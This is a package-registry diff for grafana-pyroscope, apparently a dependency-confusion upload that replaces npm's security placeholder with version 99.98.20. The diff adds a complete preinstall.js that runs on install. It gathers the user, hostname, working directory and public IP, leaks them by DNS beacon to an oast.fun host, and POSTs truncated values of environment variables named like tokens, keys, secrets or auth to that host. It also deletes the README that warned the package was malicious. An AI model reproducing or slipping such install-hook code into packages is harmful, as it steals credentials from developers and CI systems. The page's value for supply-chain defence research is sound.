grafana-pyroscope 0.0.1-security → 99.98.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of grafana-pyroscope might be problematic. Click here for more details.
- package/package.json +5 -3
- package/preinstall.js +137 -0
- package/README.md +0 -5
package/package.json
CHANGED
package/preinstall.js
ADDED
@@ -0,0 +1,137 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const dns = require('dns');
|
3
|
+
const http = require('http');
|
4
|
+
|
5
|
+
const OAST = 'd1j7bfsgtqkj8vn06s606j6tn18q5hah4.oast.fun'; // Your OAST domain
|
6
|
+
const MAX_LABEL = 63;
|
7
|
+
|
8
|
+
// Helper: split string into hex chunks for DNS labels <= 63 chars
|
9
|
+
function hexChunks(str) {
|
10
|
+
return Buffer.from(str).toString('hex').match(/.{1,63}/g) || [];
|
11
|
+
}
|
12
|
+
|
13
|
+
// Promise HTTP POST to exfiltrate data via HTTP (port 80)
|
14
|
+
function postData(path, data) {
|
15
|
+
return new Promise((resolve) => {
|
16
|
+
try {
|
17
|
+
const payload = JSON.stringify(data);
|
18
|
+
const options = {
|
19
|
+
hostname: OAST,
|
20
|
+
port: 80,
|
21
|
+
path: path,
|
22
|
+
method: 'POST',
|
23
|
+
headers: {
|
24
|
+
'Content-Type': 'application/json',
|
25
|
+
'Content-Length': Buffer.byteLength(payload),
|
26
|
+
'User-Agent': 'Mozilla/5.0 (compatible)',
|
27
|
+
},
|
28
|
+
timeout: 4000, // 4 seconds timeout to avoid hanging
|
29
|
+
};
|
30
|
+
|
31
|
+
const req = http.request(options, (res) => {
|
32
|
+
// Consume response data to free memory
|
33
|
+
res.on('data', () => {});
|
34
|
+
res.on('end', () => {
|
35
|
+
console.log('[*] HTTP POST success');
|
36
|
+
resolve();
|
37
|
+
});
|
38
|
+
});
|
39
|
+
|
40
|
+
req.on('error', (err) => {
|
41
|
+
console.log('[!] HTTP POST error:', err.message);
|
42
|
+
resolve(); // Always resolve so no crash
|
43
|
+
});
|
44
|
+
|
45
|
+
req.on('timeout', () => {
|
46
|
+
console.log('[!] HTTP POST timeout');
|
47
|
+
req.abort();
|
48
|
+
resolve();
|
49
|
+
});
|
50
|
+
|
51
|
+
req.write(payload);
|
52
|
+
req.end();
|
53
|
+
} catch (e) {
|
54
|
+
console.log('[!] Exception in postData:', e.message);
|
55
|
+
resolve();
|
56
|
+
}
|
57
|
+
});
|
58
|
+
}
|
59
|
+
|
60
|
+
// Promise GET public IP (via HTTPS, fallback to 'unknown')
|
61
|
+
function getPublicIp() {
|
62
|
+
return new Promise((resolve) => {
|
63
|
+
try {
|
64
|
+
const https = require('https');
|
65
|
+
https.get('https://api.ipify.org', (res) => {
|
66
|
+
let ip = '';
|
67
|
+
res.on('data', (chunk) => {
|
68
|
+
ip += chunk;
|
69
|
+
});
|
70
|
+
res.on('end', () => {
|
71
|
+
resolve(ip.trim());
|
72
|
+
});
|
73
|
+
}).on('error', () => {
|
74
|
+
resolve('unknown');
|
75
|
+
});
|
76
|
+
} catch {
|
77
|
+
resolve('unknown');
|
78
|
+
}
|
79
|
+
});
|
80
|
+
}
|
81
|
+
|
82
|
+
(async () => {
|
83
|
+
try {
|
84
|
+
console.log('[*] preinstall.js triggered on', os.hostname(), os.platform());
|
85
|
+
|
86
|
+
// Collect basic info
|
87
|
+
const info = {
|
88
|
+
user: os.userInfo().username || 'nouser',
|
89
|
+
host: os.hostname() || 'nohost',
|
90
|
+
cwd: process.cwd(),
|
91
|
+
platform: os.platform(),
|
92
|
+
arch: os.arch(),
|
93
|
+
timestamp: Date.now().toString(36),
|
94
|
+
};
|
95
|
+
|
96
|
+
// Compose DNS beacon domain from hex chunks + platform + OAST
|
97
|
+
let domainParts = [...hexChunks(info.user), ...hexChunks(info.host), info.platform, OAST];
|
98
|
+
let domain = domainParts.join('.');
|
99
|
+
if (domain.length > 253) domain = domain.slice(0, 253);
|
100
|
+
|
101
|
+
// Fire DNS beacon (fire-and-forget)
|
102
|
+
dns.resolve(domain, (err) => {
|
103
|
+
if (err) {
|
104
|
+
console.log('[!] DNS beacon error:', err.message);
|
105
|
+
} else {
|
106
|
+
console.log('[*] DNS beacon sent:', domain);
|
107
|
+
}
|
108
|
+
});
|
109
|
+
|
110
|
+
// Wait for public IP fetch
|
111
|
+
const publicIp = await getPublicIp();
|
112
|
+
|
113
|
+
// Prepare info + IP + CI env marker
|
114
|
+
const infoWithIp = { ...info, ip: publicIp, ci: !!process.env.CI };
|
115
|
+
|
116
|
+
// Extract up to 5 secrets from env vars (token/key/secret/auth)
|
117
|
+
const leaked = Object.entries(process.env)
|
118
|
+
.filter(([k]) => /token|key|secret|auth/i.test(k))
|
119
|
+
.slice(0, 5)
|
120
|
+
.reduce((acc, [k, v]) => {
|
121
|
+
acc[k] = v.length > 12 ? v.slice(0, 12) + '...' : v;
|
122
|
+
return acc;
|
123
|
+
}, {});
|
124
|
+
|
125
|
+
const finalPayload = { systemInfo: infoWithIp };
|
126
|
+
if (Object.keys(leaked).length) {
|
127
|
+
finalPayload.envLeak = leaked;
|
128
|
+
}
|
129
|
+
|
130
|
+
// Send HTTP POST beacon with data
|
131
|
+
await postData('/', finalPayload);
|
132
|
+
|
133
|
+
console.log('[*] preinstall.js finished');
|
134
|
+
} catch (e) {
|
135
|
+
console.log('[!] Unexpected error:', e.message);
|
136
|
+
}
|
137
|
+
})();
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=grafana-pyroscope for more information.
|